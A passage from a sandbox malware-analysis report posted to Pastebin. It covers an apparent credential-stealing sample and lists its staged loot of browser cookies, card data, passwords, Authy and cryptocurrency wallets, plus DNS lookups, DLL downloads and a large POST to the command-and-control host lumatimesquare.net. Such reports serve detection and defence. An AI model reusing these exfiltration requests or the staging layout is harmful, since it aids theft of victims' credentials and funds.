  766. "C:\\Windows\\sysnative\\LogFiles\\Scm\\bc8bb046-005f-4ba6-90b0-2d92c65a4e13",
  767. "\\??\\WMIDataDevice",
  768. "\\??\\PIPE\\samr",
  769. "C:\\Windows\\sysnative\\wbem\\repository\\WRITABLE.TST",
  770. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING1.MAP",
  771. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING2.MAP",
  772. "C:\\Windows\\sysnative\\wbem\\repository\\MAPPING3.MAP",
  773. "C:\\Windows\\sysnative\\wbem\\repository\\OBJECTS.DATA",
  774. "C:\\Windows\\sysnative\\wbem\\repository\\INDEX.BTR",
  775. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER",
  776. "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM"
  777.  
  778.  
  779. * Deleted Files:
  780. "C:\\ProgramData\\freebl3.dll",
  781. "C:\\ProgramData\\mozglue.dll",
  782. "C:\\ProgramData\\msvcp140.dll",
  783. "C:\\ProgramData\\nss3.dll",
  784. "C:\\ProgramData\\softokn3.dll",
  785. "C:\\ProgramData\\vcruntime140.dll",
  786. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Autofill\\Google Chrome_Default.txt",
  787. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Autofill",
  788. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\CC\\Google Chrome_Default.txt",
  789. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\CC",
  790. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Cookies\\Edge_Cookies.txt",
  791. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Cookies\\Google Chrome_Default.txt",
  792. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Cookies\\IE_Cookies.txt",
  793. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Cookies",
  794. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\cookie_list.txt",
  795. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Downloads\\Google Chrome_Default.txt",
  796. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Downloads",
  797. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Files\\Default.zip",
  798. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Files",
  799. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\History\\Google Chrome_Default.txt",
  800. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\History",
  801. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\information.txt",
  802. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\outlook.txt",
  803. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\passwords.txt",
  804. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\screenshot.jpg",
  805. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Soft\\Authy",
  806. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Soft",
  807. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Anoncoin",
  808. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\BBQCoin",
  809. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Bitcoin",
  810. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\DashCore",
  811. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\DevCoin",
  812. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\DigitalCoin",
  813. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\ElectronCash",
  814. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Electrum",
  815. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\ElectrumLTC",
  816. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Ethereum",
  817. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Exodus",
  818. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\FlorinCoin",
  819. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Franko",
  820. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\FreiCoin",
  821. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\GoldCoinGLD",
  822. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\InfiniteCoin",
  823. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\IOCoin",
  824. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\IxCoin",
  825. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\JAXX",
  826. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Litecoin",
  827. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\MegaCoin",
  828. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\MinCoin",
  829. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\MultiDoge",
  830. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\NameCoin",
  831. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\PrimeCoin",
  832. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\TerraCoin",
  833. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\YACoin",
  834. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets\\Zcash",
  835. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\files\\Wallets",
  836. "C:\\ProgramData\\V2NCSKOQ8V220P1WKIX9AY0GB\\US_00000000-0000-0000-0000-0000000000001797115327.zip",
  837. "C:\\Users\\user\\AppData\\Local\\Temp\\Exes_9b993f81115b122127e230115d38e767.exe"
  838.  
  839.  
  840. * Modified Registry Keys:
  841. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Type",
  842. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\WerSvc\\Type",
  843. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ProcessID",
  844. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ThrottleDrege",
  845. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Parameters\\ServiceDllUnloadOnStop",
  846. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStart",
  847. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Wbem\\Transports\\Decoupled\\Server",
  848. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\CreationTime",
  849. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\MarshaledProxy",
  850. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\Transports\\Decoupled\\Server\\ProcessIdentifier",
  851. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\LastServiceStopMissed",
  852. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\ConfigValueEssNeedsLoading",
  853. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\CIMOM\\List of event-active namespaces",
  854. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\ESS\\//./root/CIMV2\\SCM Event Provider"
  855.  
  856.  
  857. * Deleted Registry Keys:
  858.  
  859. * DNS Communications:
  860.  
  861. "type": "A",
  862. "request": "lumatimesquare.net",
  863. "answers":
  864.  
  865. "data": "205.185.123.59",
  866. "type": "A"
  867.  
  868.  
  869.  
  870.  
  871. "type": "A",
  872. "request": "ip-api.com",
  873. "answers":
  874.  
  875. "data": "72.11.140.50",
  876. "type": "A"
  877.  
  878.  
  879. "data": "66.212.29.250",
  880. "type": "A"
  881.  
  882.  
  883.  
  884.  
  885.  
  886. * Domains:
  887.  
  888. "ip": "205.185.123.59",
  889. "domain": "lumatimesquare.net"
  890.  
  891.  
  892. "ip": "72.11.140.50",
  893. "domain": "ip-api.com"
  894.  
  895.  
  896.  
  897. * Network Communication - ICMP:
  898.  
  899. * Network Communication - HTTP:
  900.  
  901. "count": 1,
  902. "body": "--1BEF0A57BE110FD467A--\r\n",
  903. "uri": "http://lumatimesquare.net/374",
  904. "user-agent": "",
  905. "method": "POST",
  906. "host": "lumatimesquare.net",
  907. "version": "1.1",
  908. "path": "/374",
  909. "data": "POST /374 HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\nContent-Length: 25\r\nHost: lumatimesquare.net\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n--1BEF0A57BE110FD467A--\r\n",
  910. "port": 80
  911.  
  912.  
  913. "count": 1,
  914. "body": "",
  915. "uri": "http://lumatimesquare.net/freebl3.dll",
  916. "user-agent": "",
  917. "method": "GET",
  918. "host": "lumatimesquare.net",
  919. "version": "1.1",
  920. "path": "/freebl3.dll",
  921. "data": "GET /freebl3.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: lumatimesquare.net\r\nConnection: Keep-Alive\r\n\r\n",
  922. "port": 80
  923.  
  924.  
  925. "count": 1,
  926. "body": "",
  927. "uri": "http://lumatimesquare.net/mozglue.dll",
  928. "user-agent": "",
  929. "method": "GET",
  930. "host": "lumatimesquare.net",
  931. "version": "1.1",
  932. "path": "/mozglue.dll",
  933. "data": "GET /mozglue.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: lumatimesquare.net\r\nConnection: Keep-Alive\r\n\r\n",
  934. "port": 80
  935.  
  936.  
  937. "count": 1,
  938. "body": "",
  939. "uri": "http://lumatimesquare.net/msvcp140.dll",
  940. "user-agent": "",
  941. "method": "GET",
  942. "host": "lumatimesquare.net",
  943. "version": "1.1",
  944. "path": "/msvcp140.dll",
  945. "data": "GET /msvcp140.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: lumatimesquare.net\r\nConnection: Keep-Alive\r\n\r\n",
  946. "port": 80
  947.  
  948.  
  949. "count": 1,
  950. "body": "",
  951. "uri": "http://lumatimesquare.net/nss3.dll",
  952. "user-agent": "",
  953. "method": "GET",
  954. "host": "lumatimesquare.net",
  955. "version": "1.1",
  956. "path": "/nss3.dll",
  957. "data": "GET /nss3.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: lumatimesquare.net\r\nConnection: Keep-Alive\r\n\r\n",
  958. "port": 80
  959.  
  960.  
  961. "count": 1,
  962. "body": "",
  963. "uri": "http://lumatimesquare.net/softokn3.dll",
  964. "user-agent": "",
  965. "method": "GET",
  966. "host": "lumatimesquare.net",
  967. "version": "1.1",
  968. "path": "/softokn3.dll",
  969. "data": "GET /softokn3.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: lumatimesquare.net\r\nConnection: Keep-Alive\r\n\r\n",
  970. "port": 80
  971.  
  972.  
  973. "count": 1,
  974. "body": "",
  975. "uri": "http://lumatimesquare.net/vcruntime140.dll",
  976. "user-agent": "",
  977. "method": "GET",
  978. "host": "lumatimesquare.net",
  979. "version": "1.1",
  980. "path": "/vcruntime140.dll",
  981. "data": "GET /vcruntime140.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: lumatimesquare.net\r\nConnection: Keep-Alive\r\n\r\n",
  982. "port": 80
  983.  
  984.  
  985. "count": 1,
  986. "body": "--1BEF0A57BE110FD467A--\r\n",
  987. "uri": "http://ip-api.com/line/",
  988. "user-agent": "",
  989. "method": "POST",
  990. "host": "ip-api.com",
  991. "version": "1.1",
  992. "path": "/line/",
  993. "data": "POST /line/ HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\nContent-Length: 25\r\nHost: ip-api.com\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n--1BEF0A57BE110FD467A--\r\n",
  994. "port": 80
  995.  
  996.  
  997. "count": 1,
  998. "body": "",
  999. "uri": "http://lumatimesquare.net/",
  1000. "user-agent": "",
  1001. "method": "POST",
  1002. "host": "lumatimesquare.net",
  1003. "version": "1.1",
  1004. "path": "/",
  1005. "data": "POST / HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\nContent-Length: 41191\r\nHost: lumatimesquare.net\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n",
  1006. "port": 80
  1007.  
  1008.  
  1009.  
  1010. * Network Communication - SMTP:
  1011.  
  1012. * Network Communication - Hosts:
  1013.  
  1014. * Network Communication - IRC:
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!